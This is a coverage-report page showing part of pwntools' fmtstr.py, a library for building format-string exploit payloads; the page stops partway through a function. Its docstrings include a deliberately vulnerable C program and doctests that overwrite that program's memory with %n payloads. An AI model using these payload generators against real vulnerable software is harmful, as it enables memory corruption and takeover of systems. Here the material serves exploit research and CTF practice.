• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 12797806857

15 Jan 2025 10:04PM UTC coverage: 71.089% (-2.6%) from 73.646%
12797806857

push

github

peace-maker
Drop Python 2.7 support / Require Python 3.10

Only test on Python 3 and bump minimal required python version to 3.10.

3628 of 6402 branches covered (56.67%)

12848 of 18073 relevant lines covered (71.09%)

0.71 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

91.26
/pwnlib/fmtstr.py
1
r"""
2
Provide some tools to exploit format string bug
3

4
Let's use this program as an example:
5

6
::
7

8
    #include <stdio.h>
9
    #include <stdlib.h>
10
    #include <unistd.h>
11
    #include <sys/mman.h>
12
    #define MEMORY_ADDRESS ((void*)0x11111000)
13
    #define MEMORY_SIZE 1024
14
    #define TARGET ((int *) 0x11111110)
15
    int main(int argc, char const *argv[])
16
    {
17
           char buff[1024];
18
           void *ptr = NULL;
19
           int *my_var = TARGET;
20
           ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
21
           if(ptr != MEMORY_ADDRESS)
22
           {
23
                   perror("mmap");
24
                   return EXIT_FAILURE;
25
           }
26
           *my_var = 0x41414141;
27
           write(1, &my_var, sizeof(int *));
28
           scanf("%s", buff);
29
           dprintf(2, buff);
30
           write(1, my_var, sizeof(int));
31
           return 0;
32
    }
33

34
We can automate the exploitation of the process like so:
35

36
    >>> program = pwnlib.data.elf.fmtstr.get('i386')
37
    >>> def exec_fmt(payload):
38
    ...     p = process(program)
39
    ...     p.sendline(payload)
40
    ...     return p.recvall()
41
    ...
42
    >>> autofmt = FmtStr(exec_fmt)
43
    >>> offset = autofmt.offset
44
    >>> p = process(program, stderr=PIPE)
45
    >>> addr = unpack(p.recv(4))
46
    >>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
47
    >>> p.sendline(payload)
48
    >>> print(hex(unpack(p.recv(4))))
49
    0x1337babe
50

51
Example - Payload generation
52
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
53

54
.. code-block:: python
55

56
    # we want to do 3 writes
57
    writes = {0x08041337:   0xbfffffff,
58
              0x08041337+4: 0x1337babe,
59
              0x08041337+8: 0xdeadbeef}
60

61
    # the printf() call already writes some bytes
62
    # for example :
63
    # strcat(dest, "blabla :", 256);
64
    # strcat(dest, your_input, 256);
65
    # printf(dest);
66
    # Here, numbwritten parameter must be 8
67
    payload = fmtstr_payload(5, writes, numbwritten=8)
68

69
Example - Automated exploitation
70
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
71

72
.. code-block:: python
73

74
        # Assume a process that reads a string
75
        # and gives this string as the first argument
76
        # of a printf() call
77
        # It do this indefinitely
78
        p = process('./vulnerable')
79

80
        # Function called in order to send a payload
81
        def send_payload(payload):
82
                log.info("payload = %s" % repr(payload))
83
                p.sendline(payload)
84
                return p.recv()
85

86
        # Create a FmtStr object and give to him the function
87
        format_string = FmtStr(execute_fmt=send_payload)
88
        format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
89
        format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
90
        format_string.execute_writes()
91

92
"""
93
from __future__ import division
1✔
94

95
import logging
1✔
96
import re
1✔
97
from operator import itemgetter
1✔
98
from six.moves import range
1✔
99
from sortedcontainers import SortedList
1✔
100

101
from pwnlib.log import getLogger
1✔
102
from pwnlib.memleak import MemLeak
1✔
103
from pwnlib.util.cyclic import *
1✔
104
from pwnlib.util.fiddling import randoms
1✔
105
from pwnlib.util.packing import *
1✔
106

107
log = getLogger(__name__)
1✔
108

109
SPECIFIER = {
1✔
110
    1: 'hhn',
111
    2: 'hn',
112
    4: 'n',
113
    8: 'lln',
114
}
115

116

117
SZMASK = { sz: (1 << (sz * 8)) - 1 for sz in SPECIFIER }
1✔
118

119
WRITE_SIZE = {
1✔
120
    "byte": 1,
121
    "short": 2,
122
    "int": 4,
123
    "long": 8,
124
}
125

126
def normalize_writes(writes):
1✔
127
    r"""
128
    This function converts user-specified writes to a dict ``{ address1: data1, address2: data2, ... }``
129
    such that all values are raw bytes and consecutive writes are merged to a single key.
130

131
    Examples:
132

133
        >>> context.clear(endian="little", bits=32)
134
        >>> normalize_writes({0x0: [p32(0xdeadbeef)], 0x4: p32(0xf00dface), 0x10: 0x41414141})
135
        [(0, b'\xef\xbe\xad\xde\xce\xfa\r\xf0'), (16, b'AAAA')]
136
    """
137
    # make all writes flat
138
    writes = { address: flat(data) for address, data in writes.items() }
1✔
139

140
    # merge adjacent writes (and detect overlaps)
141
    merged = []
1✔
142
    prev_end = -1
1✔
143
    for address, data in sorted(writes.items(), key=itemgetter(0)):
1✔
144
        if address < prev_end:
1!
145
            raise ValueError("normalize_writes(): data at offset %d overlaps with previous data which ends at offset %d" % (address, prev_end))
×
146

147
        if address == prev_end and merged:
1✔
148
            merged[-1] = (merged[-1][0], merged[-1][1] + data)
1✔
149
        else:
150
            merged.append((address, data))
1✔
151

152
        prev_end = address + len(data)
1✔
153

154
    return merged
1✔
155

156
# optimization examples (with bytes_written=0)
157
#
158
# 00 05 00 00     -> %n%5c%n
159
# 00 00 05 00 00  -> %n%5c%n
160
# 00 00 05 05 00 05  -> need overlapping writes if numbwritten > 5
161

162
class AtomWrite(object):
1✔
163
    """
164
    This class represents a write action that can be carried out by a single format string specifier.
165

166
    Each write has an address (start), a size and the integer that should be written.
167

168
    Additionally writes can have a mask to specify which bits are important.
169
    While the write always overwrites all bytes in the range [start, start+size) the mask sometimes allows more
170
    efficient execution. For example, assume the current format string counter is at 0xaabb and a write with
171
    with integer = 0xaa00 and mask = 0xff00 needs to be executed. In that case, since the lower byte is not covered
172
    by the mask, the write can be directly executed with a %hn sequence (so we will write 0xaabb, but that is ok
173
    because the mask only requires the upper byte to be correctly written).
174
    """
175
    __slots__ = ( "start", "size", "integer", "mask" )
1✔
176

177
    def __init__(self, start, size, integer, mask=None):
1✔
178
        if mask is None:
1✔
179
            mask = (1 << (8 * size)) - 1
1✔
180
        self.start = int(start)
1✔
181
        self.size = size
1✔
182
        self.integer = int(integer)
1✔
183
        self.mask = int(mask)
1✔
184

185
    def __len__(self):
1✔
186
        return self.size
1✔
187

188
    def __key(self):
1✔
189
        return (self.start, self.size, self.integer, self.mask)
1✔
190

191
    def __eq__(self, other):
1✔
192
        if not isinstance(other, AtomWrite):
×
193
            raise TypeError("comparision not supported between instances of '%s' and '%s'" % (type(self), type(other)))
×
194
        return self.__key() == other.__key()
×
195

196
    def __ne__(self, other):
1✔
197
        return not self.__eq__(other)
×
198

199
    def __hash__(self):
1✔
200
        return hash(self.__key())
1✔
201

202
    def __repr__(self):
1✔
203
        return "AtomWrite(start=%d, size=%d, integer=%#x, mask=%#x)" % (self.start, self.size, self.integer, self.mask)
1✔
204

205
    @property
1✔
206
    def bitsize(self):
1✔
207
        return self.size * 8
1✔
208

209
    @property
1✔
210
    def end(self):
1✔
211
        return self.start + self.size
1✔
212

213
    def compute_padding(self, counter):
1✔
214
        """
215
        This function computes the least amount of padding necessary to execute this write,
216
        given the current format string write counter (how many bytes have been written until now).
217

218
        Examples:
219

220
            >>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0x2345).compute_padding(0x1111))
221
            '0x1234'
222
            >>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0xaa00).compute_padding(0xaabb))
223
            '0xff45'
224
            >>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0xaa00, 0xff00).compute_padding(0xaabb)) # with mask
225
            '0x0'
226
        """
227
        wanted = self.integer & self.mask
1✔
228
        padding = 0
1✔
229
        while True:
1✔
230
            diff = wanted ^ ((counter + padding) & self.mask)
1✔
231
            if not diff: break
1✔
232
            # this masks the least significant set bit and adds it to padding
233
            padding += diff & (diff ^ (diff - 1))
1✔
234
        return padding
1✔
235

236
    def replace(self, start=None, size=None, integer=None, mask=None):
1✔
237
        """
238
        Return a new write with updated fields (everything that is not None is set to the new value)
239
        """
240
        start = self.start if start is None else start
1✔
241
        size = self.size if size is None else size
1✔
242
        integer = self.integer if integer is None else integer
1✔
243
        mask = self.mask if mask is None else mask
1✔
244
        return AtomWrite(start, size, integer, mask)
1✔
245

246
    def union(self, other):
1✔
247
        """
248
        Combine adjacent writes into a single write.
249

250
        Example:
251

252
            >>> context.clear(endian = "little")
253
            >>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
254
            AtomWrite(start=0, size=2, integer=0x201, mask=0x77ff)
255
        """
256
        assert other.start == self.end, "writes to combine must be continous"
1✔
257
        if context.endian == "little":
1✔
258
            newinteger = (other.integer << self.bitsize) | self.integer
1✔
259
            newmask = (other.mask << self.bitsize) | self.mask
1✔
260
        elif context.endian == "big":
1!
261
            newinteger = (self.integer << other.bitsize) | other.integer
1✔
262
            newmask = (self.mask << other.bitsize) | other.mask
1✔
263
        return AtomWrite(self.start, self.size + other.size, newinteger, newmask)
1✔
264

265
    def __getslice__(self, i,  j):
1✔
266
        return self.__getitem__(slice(i, j))
×
267

268
    def __getitem__(self, i):
1✔
269
        if not isinstance(i, slice):
1!
270
            if i < 0 or i >= self.size:
×
271
                raise IndexError("out of range [0, " + str(self.size) + "): " + str(i))
×
272
            i = slice(i,i+1)
×
273
        start, stop, step = i.indices(self.size)
1✔
274
        if step != 1:
1!
275
            raise IndexError("slices with step != 1 not supported for AtomWrite")
×
276

277
        clip = (1 << ((stop - start) * 8)) - 1
1✔
278
        if context.endian == 'little':
1✔
279
            shift = start * 8
1✔
280
        elif context.endian == 'big':
1!
281
            shift = (self.size - stop) * 8
1✔
282
        return AtomWrite(self.start + start, stop - start, (self.integer >> shift) & clip, (self.mask >> shift) & clip)
1✔
283

284
def make_atoms_simple(address, data, badbytes=frozenset()):
1✔
285
    """
286
    Build format string atoms for writing some data at a given address where some bytes are not allowed
287
    to appear in addresses (such as nullbytes).
288

289
    This function is simple and does not try to minimize the number of atoms. For example, if there are no
290
    bad bytes, it simply returns one atom for each byte:
291

292
        >>> pwnlib.fmtstr.make_atoms_simple(0x0, b"abc", set())
293
        [AtomWrite(start=0, size=1, integer=0x61, mask=0xff), AtomWrite(start=1, size=1, integer=0x62, mask=0xff), AtomWrite(start=2, size=1, integer=0x63, mask=0xff)]
294
    
295
    If there are bad bytes, it will try to bypass by skipping addresses containing bad bytes, otherwise a
296
    RuntimeError will be raised:
297

298
        >>> pwnlib.fmtstr.make_atoms_simple(0x61, b'abc', b'\x62')
299
        [AtomWrite(start=97, size=2, integer=0x6261, mask=0xffff), AtomWrite(start=99, size=1, integer=0x63, mask=0xff)]
300
        >>> pwnlib.fmtstr.make_atoms_simple(0x61, b'a'*0x10, b'\x62\x63\x64\x65\x66\x67\x68')
301
        [AtomWrite(start=97, size=8, integer=0x6161616161616161, mask=0xffffffffffffffff), AtomWrite(start=105, size=1, integer=0x61, mask=0xff), AtomWrite(start=106, size=1, integer=0x61, mask=0xff), AtomWrite(start=107, size=1, integer=0x61, mask=0xff), AtomWrite(start=108, size=1, integer=0x61, mask=0xff), AtomWrite(start=109, size=1, integer=0x61, mask=0xff), AtomWrite(start=110, size=1, integer=0x61, mask=0xff), AtomWrite(start=111, size=1, integer=0x61, mask=0xff), AtomWrite(start=112, size=1, integer=0x61, mask=0xff)]
302
    """
303
    data = bytearray(data)
1✔
304
    if not badbytes:
1✔
305
        return [AtomWrite(address + i, 1, d) for i, d in enumerate(data)]
1✔
306

307
    if any(x in badbytes for x in pack(address)):
1!
308
        raise RuntimeError("impossible to avoid a bad byte in starting address %x" % address)
×
309

310
    i = 0
1✔
311
    out = []
1✔
312
    end = address + len(data)
1✔
313
    while i < len(data):
1✔
314
        candidate = AtomWrite(address + i, 1, data[i])
1✔
315
        while candidate.end < end and any(x in badbytes for x in pack(candidate.end)):
1✔
316
            candidate = candidate.union(AtomWrite(candidate.end, 1, data[i + candidate.size]))
1✔
317

318
        sz = min([s for s in SPECIFIER if s >= candidate.size] + [float("inf")])
1✔
319
        if candidate.start + sz > end:
1!
320
            raise RuntimeError("impossible to avoid badbytes starting after offset %d (address %#x)" % (i, i + address))
×
321
        i += candidate.size
1✔
322
        candidate = candidate.union(AtomWrite(candidate.end, sz - candidate.size, 0, 0))
1✔
323
        out.append(candidate)
1✔
324
    return out
1✔
325

326

327
def merge_atoms_writesize(atoms, maxsize):
1✔
328
    """Merge consecutive atoms based on size.
329

330
    This function simply merges adjacent atoms as long as the merged atom's size is not larger than ``maxsize``.
331

332
    Examples:
333

334
        >>> from pwnlib.fmtstr import *
335
        >>> merge_atoms_writesize([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1), AtomWrite(2, 1, 2)], 2)
336
        [AtomWrite(start=0, size=2, integer=0x101, mask=0xffff), AtomWrite(start=2, size=1, integer=0x2, mask=0xff)]
337
    """
338
    assert maxsize in SPECIFIER, "write size must be supported by printf"
1✔
339

340
    out = []
1✔
341
    while atoms:
1✔
342
        # look forward to find atoms to merge with
343
        best = (1, atoms[0])
1✔
344
        candidate = atoms[0]
1✔
345
        for idx, atom in enumerate(atoms[1:]):
1✔
346
            if candidate.end != atom.start: break
1!
347

348
            candidate = candidate.union(atom)
1✔
349
            if candidate.size > maxsize: break
1✔
350
            if candidate.size in SPECIFIER:
1!
351
                best = (idx+2, candidate)
1✔
352

353
        out += [best[1]]
1✔
354
        atoms[:best[0]] = []
1✔
355
    return out
1✔
356

357
def find_min_hamming_in_range_step(prev, step, carry, strict):
1✔
358
    """
359
    Compute a single step of the algorithm for find_min_hamming_in_range
360

361
    Arguments:
362
        prev(dict): results from previous iterations
363
        step(tuple): tuple of bounds and target value, (lower, upper, target)
364
        carry(int): carry means allow for overflow of the previous (less significant) byte
365
        strict(int): strict means allow the previous bytes to be bigger than the upper limit (limited to those bytes)
366
                     in lower = 0x2000, upper = 0x2100, choosing 0x21 for the upper byte is not strict because
367
                     then the lower bytes have to actually be smaller than or equal to 00 (0x2111 would not be in
368
                     range)
369
    Returns:
370
        A tuple (score, value, mask) where score equals the number of matching bytes between the returned value and target.
371

372
    Examples:
373

374
        >>> initial = {(0,0): (0,0,0), (0,1): None, (1,0): None, (1,1): None}
375
        >>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 0xFF, 0x1), 0, 0)
376
        (1, 1, 255)
377
        >>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 0)
378
        (1, 1, 255)
379
        >>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 1)
380
        (0, 0, 0)
381
        >>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 0), 0, 1)
382
        (1, 0, 255)
383
        >>> repr(pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0xFF, 0x00, 0xFF), 1, 0))
384
        'None'
385
    """
386
    lower, upper, value = step
1✔
387
    carryadd = 1 if carry else 0
1✔
388

389
    valbyte = value & 0xFF
1✔
390
    lowbyte = lower & 0xFF
1✔
391
    upbyte = upper & 0xFF
1✔
392

393
    # if we can the requested byte without carry, do so
394
    # requiring strictness if possible is not a problem since strictness will cost at most a single byte
395
    # (so if we don't get our wanted byte without strictness, we may as well require it if possible)
396
    val_require_strict = valbyte > upbyte or valbyte == upbyte and strict
1✔
397
    if lowbyte + carryadd <= valbyte:
1✔
398
        if prev[(0, val_require_strict)]:
1✔
399
            prev_score, prev_val, prev_mask = prev[(0, val_require_strict)]
1✔
400
            return prev_score + 1, (prev_val << 8) | valbyte, (prev_mask << 8) | 0xFF
1✔
401

402
    # now, we have two options: pick the wanted byte (forcing carry), or pick something else
403
    # check which option is better
404
    lowcarrybyte = (lowbyte + carryadd) & 0xFF
1✔
405
    other_require_strict = lowcarrybyte > upbyte or lowcarrybyte == upbyte and strict
1✔
406
    other_require_carry = lowbyte + carryadd > 0xFF
1✔
407
    prev_for_val = prev[(1, val_require_strict)]
1✔
408
    prev_for_other = prev[(other_require_carry, other_require_strict)]
1✔
409
    if prev_for_val and (not prev_for_other or prev_for_other[0] <= prev_for_val[0] + 1):
1✔
410
        return prev_for_val[0] + 1, (prev_for_val[1] << 8) | valbyte, (prev_for_val[2] << 8) | 0xFF
1✔
411
    if prev_for_other:
1✔
412
        return prev_for_other[0], (prev_for_other[1] << 8) | lowcarrybyte, (prev_for_other[2] << 8)
1✔
413
    return None
1✔
414

415
def find_min_hamming_in_range(maxbytes, lower, upper, target):
1✔
416
    """
417
    Find the value which differs in the least amount of bytes from the target and is in the given range.
418

419
    Returns a tuple (count, value, mask) where count is the number of equal bytes and mask selects the equal bytes.
420
    So mask & target == value & target and lower <= value <= upper.
421

422
    Arguments:
423
        maxbytes(int): bytes above maxbytes (counting from the least significant first) don't need to match
424
        lower(int): lower bound for the returned value, inclusive
425
        upper(int): upper bound, inclusive
426
        target(int): the target value that should be approximated
427

428
    Examples:
429

430
        >>> pp = lambda svm: (svm[0], hex(svm[1]), hex(svm[2]))
431
        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0x0, 0x100, 0xaa))
432
        (1, '0xaa', '0xff')
433
        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x100, 0xaa))
434
        (0, '0xbb', '0x0')
435
        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x200, 0xaa))
436
        (1, '0x1aa', '0xff')
437
        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(2, 0x0, 0x100, 0xaa))
438
        (2, '0xaa', '0xffff')
439
        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(4, 0x1234, 0x10000, 0x0))
440
        (3, '0x10000', '0xff00ffff')
441
    """
442
    steps = []
1✔
443
    for _ in range(maxbytes):
1✔
444
        steps += [(lower, upper, target)]
1✔
445
        lower = lower >> 8
1✔
446
        upper = upper >> 8
1✔
447
        target = target >> 8
1✔
448

449
    # the initial state
450
    prev = {
1✔
451
        (False,False): (0, 0, 0),
452
        (False,True): None if upper == lower else (0, lower, 0),
453
        (True,False): None if upper == lower else (0, lower, 0),
454
        (True,True): None if upper <= lower + 1 else (0, lower + 1, 0)
455
    }
456
    for step in reversed(steps):
1✔
457
        prev = {
1✔
458
            (carry, strict): find_min_hamming_in_range_step(prev, step, carry, strict )
459
            for carry in [False, True]
460
            for strict in [False, True]
461
        }
462
    return prev[(False,False)]
1✔
463
#
464
# what we don't do:
465
#  - create new atoms that cannot be created by merging existing atoms
466
#  - optimize based on masks
467
def merge_atoms_overlapping(atoms, sz, szmax, numbwritten, overflows):
1✔
468
    """
469
    Takes a list of atoms and merges consecutive atoms to reduce the number of atoms.
470
    For example if you have two atoms ``AtomWrite(0, 1, 1)`` and ``AtomWrite(1, 1, 1)``
471
    they can be merged into a single atom ``AtomWrite(0, 2, 0x0101)`` to produce a short format string.
472

473
    Arguments:
474
        atoms(list): list of atoms to merge
475
        sz(int): basic write size in bytes. Atoms of this size are generated without constraints on their values.
476
        szmax(int): maximum write size in bytes. No atoms with a size larger than this are generated.
477
        numbwritten(int): the value at which the counter starts
478
        overflows(int): how many extra overflows (of size sz) to tolerate to reduce the number of atoms
479

480
    Examples:
481

482
        >>> from pwnlib.fmtstr import *
483
        >>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 2, 8, 0, 1)
484
        [AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]
485
        >>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 8, 0, 1) # not merged since it causes an extra overflow of the 1-byte counter
486
        [AtomWrite(start=0, size=1, integer=0x1, mask=0xff), AtomWrite(start=1, size=1, integer=0x1, mask=0xff)]
487
        >>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 8, 0, 2)
488
        [AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]
489
        >>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 1, 0, 2) # not merged due to szmax
490
        [AtomWrite(start=0, size=1, integer=0x1, mask=0xff), AtomWrite(start=1, size=1, integer=0x1, mask=0xff)]
491
    """
492
    if not szmax:
1!
493
        szmax = max(SPECIFIER.keys())
×
494

495
    assert 1 <= overflows, "must allow at least one overflow"
1✔
496
    assert sz <= szmax, "sz must be smaller or equal to szmax"
1✔
497

498
    maxwritten = numbwritten + (1 << (8 * sz)) * overflows
1✔
499
    done = [False for _ in atoms]
1✔
500

501
    numbwritten_at = [numbwritten for _ in atoms]
1✔
502
    out = []
1✔
503
    for idx, atom in enumerate(atoms):
1✔
504
        if done[idx]: continue
1✔
505
        numbwritten_here = numbwritten_at[idx]
1✔
506

507
        # greedily find the best possible write at the current offset
508
        # the best write is the one which sets the largest number of target
509
        # bytes correctly
510
        candidate = AtomWrite(atom.start, 0, 0)
1✔
511
        best = (atom.size, idx, atom)
1✔
512
        for nextidx, nextatom in enumerate(atoms[idx:], idx):
1✔
513
            # if there is no atom immediately following the current candidate
514
            # that we haven't written yet, stop
515
            if done[nextidx] or candidate.end != nextatom.start:
1✔
516
                break
1✔
517

518
            # extend the candidate with the next atom.
519
            # check that we are still within the limits and that the candidate
520
            # can be written with a format specifier (this excludes non-power-of-2 candidate sizes)
521
            candidate = candidate.union(nextatom)
1✔
522
            if candidate.size not in SPECIFIER: continue
1✔
523
            if candidate.size > szmax: break
1✔
524

525
            # now approximate the candidate if it is larger than the always allowed size (sz),
526
            # taking the `maxwritten` constraint into account
527
            # this ensures that we don't write more than `maxwritten` bytes
528
            approxed = candidate
1✔
529
            score = candidate.size
1✔
530
            if approxed.size > sz:
1✔
531
                score, v, m = find_min_hamming_in_range(approxed.size, numbwritten_here, maxwritten, approxed.integer)
1✔
532
                approxed = candidate.replace(integer=v, mask=m)
1✔
533

534
            # if the current candidate sets more bytes correctly, save it
535
            if score > best[0]:
1✔
536
                best = (score, nextidx, approxed)
1✔
537

538
        _, nextidx, best_candidate = best
1✔
539
        numbwritten_here += best_candidate.compute_padding(numbwritten_here)
1✔
540
        if numbwritten_here > maxwritten:
1✔
541
            maxwritten = numbwritten_here
1✔
542
        offset = 0
1✔
543

544
        # for all atoms that we merged, check if all bytes are written already to update `done``
545
        # also update the numbwritten_at for all the indices covered by the current best_candidate
546
        for i, iatom in enumerate(atoms[idx:nextidx+1], idx):
1✔
547
            shift = iatom.size
1✔
548

549
            # if there are no parts in the atom's that are not written by the candidate,
550
            # mark it as done
551
            if not (iatom.mask & (~best_candidate[offset:offset+shift].mask)):
1✔
552
                done[i] = True
1✔
553
            else:
554
                # numbwritten_at is only relevant for atoms that aren't done yet,
555
                # so update it only in that case (done atoms are never processed again)
556
                numbwritten_at[i] = max(numbwritten_at[i], numbwritten_here)
1✔
557

558
            offset += shift
1✔
559

560
        # emit the best candidate
561
        out += [best_candidate]
1✔
562
    return out
1✔
563

564
def overlapping_atoms(atoms):
1✔
565
    """
566
    Finds pairs of atoms that write to the same address.
567

568
    Basic examples:
569

570
        >>> from pwnlib.fmtstr import *
571
        >>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(2, 10, 1)])) # no overlaps
572
        []
573
        >>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(1, 2, 1)])) # single overlap
574
        [(AtomWrite(start=0, size=2, integer=0x0, mask=0xffff), AtomWrite(start=1, size=2, integer=0x1, mask=0xffff))]
575

576
    When there are transitive overlaps, only the largest overlap is returned. For example:
577

578
        >>> list(overlapping_atoms([AtomWrite(0, 3, 0), AtomWrite(1, 4, 1), AtomWrite(2, 4, 1)]))
579
        [(AtomWrite(start=0, size=3, integer=0x0, mask=0xffffff), AtomWrite(start=1, size=4, integer=0x1, mask=0xffffffff)), (AtomWrite(start=1, size=4, integer=0x1, mask=0xffffffff), AtomWrite(start=2, size=4, integer=0x1, mask=0xffffffff))]
580

581
    Even though ``AtomWrite(0, 3, 0)`` and ``AtomWrite(2, 4, 1)`` overlap as well that overlap is not returned
582
    as only the largest overlap is returned.
583
    """
584
    prev = None
1✔
585
    for atom in sorted(atoms, key=lambda a: a.start):
1✔
586
        if not prev:
1✔
587
            prev = atom
1✔
588
            continue
1✔
589
        if prev.end > atom.start:
1✔
590
            yield prev, atom
1✔
591
        if atom.end > prev.end:
1✔
592
            prev = atom
1✔
593

594
class AtomQueue(object):
1✔
595
    def __init__(self, numbwritten):
1✔
596
        self.queues = { sz: SortedList(key=lambda atom: atom.integer) for sz in SPECIFIER.keys() }
1✔
597
        self.positions = { sz: 0 for sz in SPECIFIER }
1✔
598
        self.numbwritten = numbwritten
1✔
599

600
    def add(self, atom):
1✔
601
        self.queues[atom.size].add(atom)
1✔
602
        if atom.integer & SZMASK[atom.size] < self.numbwritten & SZMASK[atom.size]:
1✔
603
            self.positions[atom.size] += 1
1✔
604

605
    def pop(self):
1✔
606
        # find queues that still have items left
607
        active_sizes = [ sz for sz,p in self.positions.items() if p < len(self.queues[sz]) ]
1✔
608

609
        # if all queues are exhausted, reset the one for the lowest size atoms
610
        # resetting a queue means the counter overflows (for this size)
611
        if not active_sizes:
1✔
612
            try:
1✔
613
                sz_reset = min(sz for sz,q in self.queues.items() if q)
1✔
614
            except ValueError:
1✔
615
                # all queues are empty, so there are no atoms left
616
                return None
1✔
617

618
            self.positions[sz_reset] = 0
1✔
619
            active_sizes = [sz_reset]
1✔
620

621
        # find the queue that requires the least amount of counter change
622
        best_size = min(active_sizes, key=lambda sz: self.queues[sz][self.positions[sz]].compute_padding(self.numbwritten))
1✔
623
        best_atom = self.queues[best_size].pop(self.positions[best_size])
1✔
624
        self.numbwritten += best_atom.compute_padding(self.numbwritten)
1✔
625

626
        return best_atom
1✔
627

628
def sort_atoms(atoms, numbwritten):
1✔
629
    """
630
    This function sorts atoms such that the amount by which the format string counter has to been increased
631
    between consecutive atoms is minimized.
632

633
    The idea is to reduce the amount of data the the format string has to output to write the desired atoms.
634
    For example, directly generating a format string for the atoms ``[AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)]``
635
    is suboptimal: we'd first need to output 0xff bytes to get the counter to 0xff and then output 0x100+1 bytes to
636
    get it to 0xfe again. If we sort the writes first we only need to output 0xfe bytes and then 1 byte to get to 0xff.
637

638
    Arguments:
639
        atoms(list): list of atoms to sort
640
        numbwritten(int): the value at which the counter starts
641

642
    Examples:
643

644
        >>> from pwnlib.fmtstr import *
645
        >>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0) # the example described above
646
        [AtomWrite(start=1, size=1, integer=0xfe, mask=0xff), AtomWrite(start=0, size=1, integer=0xff, mask=0xff)]
647
        >>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0xff) # if we start with 0xff it's different
648
        [AtomWrite(start=0, size=1, integer=0xff, mask=0xff), AtomWrite(start=1, size=1, integer=0xfe, mask=0xff)]
649
    """
650
    # find dependencies
651
    #
652
    # in this phase, we determine for which writes we need to preserve order to ensure correctness
653
    # for example, if we have atoms [a, b] as input and b writes to the same address as a, we cannot reorder that
654
    # to [b, a] since then a would overwrite parts of what b wrote.
655
    #
656
    # a depends on b means: a must happen after b --> depgraph[a] contains b
657
    order = { atom: i for i,atom in enumerate(atoms) }
1✔
658

659
    depgraph = { atom: set() for atom in atoms }
1✔
660
    rdepgraph = { atom: set() for atom in atoms }
1✔
661
    for atom1,atom2 in overlapping_atoms(atoms):
1✔
662
        if order[atom1] < order[atom2]:
1!
663
            depgraph[atom2].add(atom1)
1✔
664
            rdepgraph[atom1].add(atom2)
1✔
665
        else:
666
            depgraph[atom1].add(atom2)
×
667
            rdepgraph[atom2].add(atom1)
×
668

669
    queue = AtomQueue(numbwritten)
1✔
670

671
    for atom, deps in depgraph.items():
1✔
672
        if not deps:
1✔
673
            queue.add(atom)
1✔
674

675
    out = []
1✔
676
    while True:
1✔
677
        atom = queue.pop()
1✔
678
        if not atom: # we are done
1✔
679
            break
1✔
680

681
        out.append(atom)
1✔
682

683
        # add all atoms that now have no dependencies anymore to the queue
684
        for dep in rdepgraph.pop(atom):
1✔
685
            if atom not in depgraph[dep]:
1!
686
                continue
×
687
            depgraph[dep].discard(atom)
1✔
688
            if not depgraph[dep]:
1!
689
                queue.add(dep)
1✔
690

691
    return out
1✔
692

693
def make_payload_dollar(data_offset, atoms, numbwritten=0, countersize=4, no_dollars=False):
1✔
694
    r'''
695
    Makes a format-string payload using glibc's dollar syntax to access the arguments.
696

697
    Returns:
698
        A tuple (fmt, data) where ``fmt`` are the format string instructions and data are the pointers
699
        that are accessed by the instructions.
700

701
    Arguments:
702
        data_offset(int): format string argument offset at which the first pointer is located
703
        atoms(list): list of atoms to execute
704
        numbwritten(int): number of byte already written by the printf function
705
        countersize(int): size in bytes of the format string counter (usually 4)
706
        no_dollars(bool) : flag to generete the payload with or w/o $ notation 
707

708
    Examples:
709

710
        >>> pwnlib.fmtstr.make_payload_dollar(1, [pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0xff)])
711
        (b'%255c%1$hhn', b'\x00\x00\x00\x00')
712
    '''
713
    data = b""
1✔
714
    fmt = ""
1✔
715

716
    counter = numbwritten
1✔
717

718
    if no_dollars:
1✔
719
        # since we can't dynamically offset, we have to increment manually the parameter index, use %c, so the number of bytes written is predictable
720
        fmt += "%c" * (data_offset - 1)
1✔
721
        # every %c write a byte, so we need to keep track of that to have the right pad
722
        counter += data_offset - 1
1✔
723

724
    for idx, atom in enumerate(atoms):
1✔
725
        # set format string counter to correct value
726
